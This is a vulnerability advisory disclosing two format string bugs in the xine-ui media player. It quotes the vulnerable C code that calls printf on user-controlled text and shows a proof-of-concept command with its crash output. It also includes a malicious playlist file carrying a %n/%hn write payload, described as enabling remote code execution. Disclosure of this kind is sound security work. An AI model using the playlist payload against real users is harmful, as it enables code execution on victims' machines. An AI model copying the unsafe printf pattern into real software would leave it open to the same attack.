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Xine Format String
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SUMMARY
" <http://winehq.de> xine is a free multimedia player. It plays back CDs,
DVDs, and VCDs. It also decodes multimedia files like AVI, MOV, WMV, and
MP3 from local disk drives, and displays multimedia streamed over the
Internet. It interprets many of the most common multimedia formats
available - and some of the most uncommon formats, too."
There are 2 format string bugs in the latest version of Xine that could be
exploited by a malicious person to execute code on the system of a remote
user running the media player against a malicious playlist file. By
passing a format specifier in the path of a file that is embedded in a
remote playlist, it is possible to trigger this bug.
DETAILS
The evil code can be found here, in xine-ui-0.99.4/src/xitk/main.c:453:
... snip ...
static void print_formatted(char *title, const char *const *plugins) {
const char *plugin;
char buffer[81];
int len;
char *blanks = " ";
printf(title);
sprintf(buffer, "%s", blanks);
plugin = *plugins++;
while(plugin) {
len = strlen(buffer);
if((len + (strlen(plugin) + 3)) < 80) {
sprintf(buffer, "%s%s%s", buffer, (strlen(buffer) ==
strlen(blanks)) ? "" : ", ", plugin);
}
else {
printf(buffer);
printf(",\n");
snprintf(buffer, sizeof(buffer), "%s%s", blanks, plugin);
}
... snip ...
Proof of concept:
c0ntex@debauch:~$ xine --no-splash --bug-report -gI
AAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%
x%x%x%x%x%x%x%x%x%x
This is xine (X11 gui) - a free video player v0.99.3.
(c) 2000-2004 The xine Team.
xiTK received SIGSEGV signal, RIP.
Aborted
c0ntex@debauch:~$ less BUG-REPORT.txt
... snip ...
xine: found input plugin : file input plugin
---------------------- (ERROR) ----------------------
The specified file or mrl is not found. Please check it twice.
(AAAAAAAA811bfb1be1fd
ac88e232888e2329 8000206568546365707365696669696620646f20656c726d
20727369206c746f6e20756f6620202e646e61656c5063206573
6b636568207469206369777428202e65 [4141414141414141]
7825782578257825782578257825782578257825)
... snip ...
An example malicious playlist file to trigger the bug:
#EXTM3U
#EXTINFO !!All_You_Playlists_Are_Belong_To_Us -
SHHEEEELLLLCCCCOOOOOODDDDDDEEEEEEEEEEE!!
AAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%
x%x%x%x%x%x%x%.13068u%n%hn
Obviously, we can see straight away that this is a straight forward format
string bug which provides a trivial way to hijack .DTORS or some other
useful address, allowing the execution of malicious code on a remote
victims box.
ADDITIONAL INFORMATION
The information has been provided by <mailto:c0ntexb@gmail.com> c0ntexb.
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